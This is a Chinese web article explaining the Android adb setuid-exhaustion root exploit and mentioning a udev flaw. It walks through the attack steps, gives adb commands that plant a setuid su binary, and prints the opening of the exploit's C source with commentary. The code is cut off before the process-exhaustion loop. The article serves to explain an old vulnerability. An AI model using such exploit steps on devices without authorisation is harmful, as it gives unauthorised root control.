Android中可以获取root权限的两种漏洞分析

   日期:2024-12-27    作者:2em68 移动:http://3jjewl.riyuangf.com/mobile/quote/63379.html

Android获取root的漏洞有两个——udev 漏洞和adb setuid exhaustion 攻击,我将分别作出介绍。并且依据udev漏洞制作了破解手机root权限的简单软件。

在介绍这种攻击方法的时候,首先要了解adb的概念,简而言之adb是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的andriod设备(如G1手机). 它的主要功能有:

  * 运行设备的shell(命令行)

  * 管理模拟器或设备的端口映射

  * 计算机和设备之间上传/下载文件

  * 将本地apk软件安装至模拟器或android设备

ADB是一个 客户端-服务器端 程序, 其中客户端是你用来操作的电脑, 服务器端是android设备。

    我们知道Android系统是基于Linux内核的,这个攻击方法正式利用了setuid命令来获取root权限的。当手机连接电脑的时候,手机就会创建一个adb进程,来管理电脑客户端,通过对android源码的研究发现这个adb进程刚刚建立的时候是具有root权限的,当进程启动之后,adb会调用setuid命令来将自己权限变成普通的进程,但是源码中并没有对这一指令是否执行成功做出判断,这个漏洞可以让我们能通过某种手段来阻止setuid命令顺利进行从而获取root权限。

       adb setuid exhaustion 攻击流程如下:

1. 首先漏洞代码会检查NPROC setting,也就是系统允许的用户进程的上限,

2. 代码会找到当前adb守护进程的pid号。

3.然后漏洞程序不断制造僵尸子进程,直到系统允许的最大值。

4.这时候漏洞程序会杀掉当前adb进程,并在产出出新的adb进程之前产生出一个新的子进程,保证用户进程数目在系统的上限。

5.当新的adb进程产生之后,它允许在root的状态,adb完成初始化操作之后会检查自己应该继续保持root权限还是要将自己的权限降为普通用户,这时候普通用户的进程数目还是最大值,所以当adb进程调用setuid试图降级自己的权限的时候并不能成功,adb进程还是以root权限允许,但是adb并没有检查setuid命令是否执行成功,这时候我们就获取了root权限。

6.在adb中执行adb push su /system/bin/su和adb shell "chmod 4755 /system/bin/su”这样用户程序可以随时通过su命令获取root权限了。

漏洞攻击文件源码分析如下:

int main(int argc, char **argv)

{

    pid_t adb_pid = 0, p;

    int pids = 0, new_pids = 1;

    int pepe[2];

    char c = 0;

    struct rlimit rl;

 

    printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C ");

    printf("[*] checking NPROC limit ... ");

//得到用户最多能创建的用户进程数目

    if (getrlimit(RLIMIT_NPROC, &rl) < 0)

        die("[-] getrlimit");

 

    if (rl.rlim_cur == RLIM_INFINITY) {

        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting. ");

        exit(1);

    }

 

    printf("[+] RLIMIT_NPROC={%lu, %lu} ", rl.rlim_cur, rl.rlim_max);

    printf("[*] Searching for adb ... ");

//找到adb进程的pid编号

    adb_pid = find_adb();

 

    if (!adb_pid)

        die("[-] Cannot find adb");

 

    printf("[+] Found adb as PID %d ", adb_pid);


特别提示:本信息由相关用户自行提供,真实性未证实,仅供参考。请谨慎采用,风险自负。


举报收藏 0评论 0
0相关评论
相关最新动态
推荐最新动态
点击排行
{
网站首页  |  关于我们  |  联系方式  |  使用协议  |  隐私政策  |  版权隐私  |  网站地图  |  排名推广  |  广告服务  |  积分换礼  |  网站留言  |  RSS订阅  |  违规举报  |  鄂ICP备2020018471号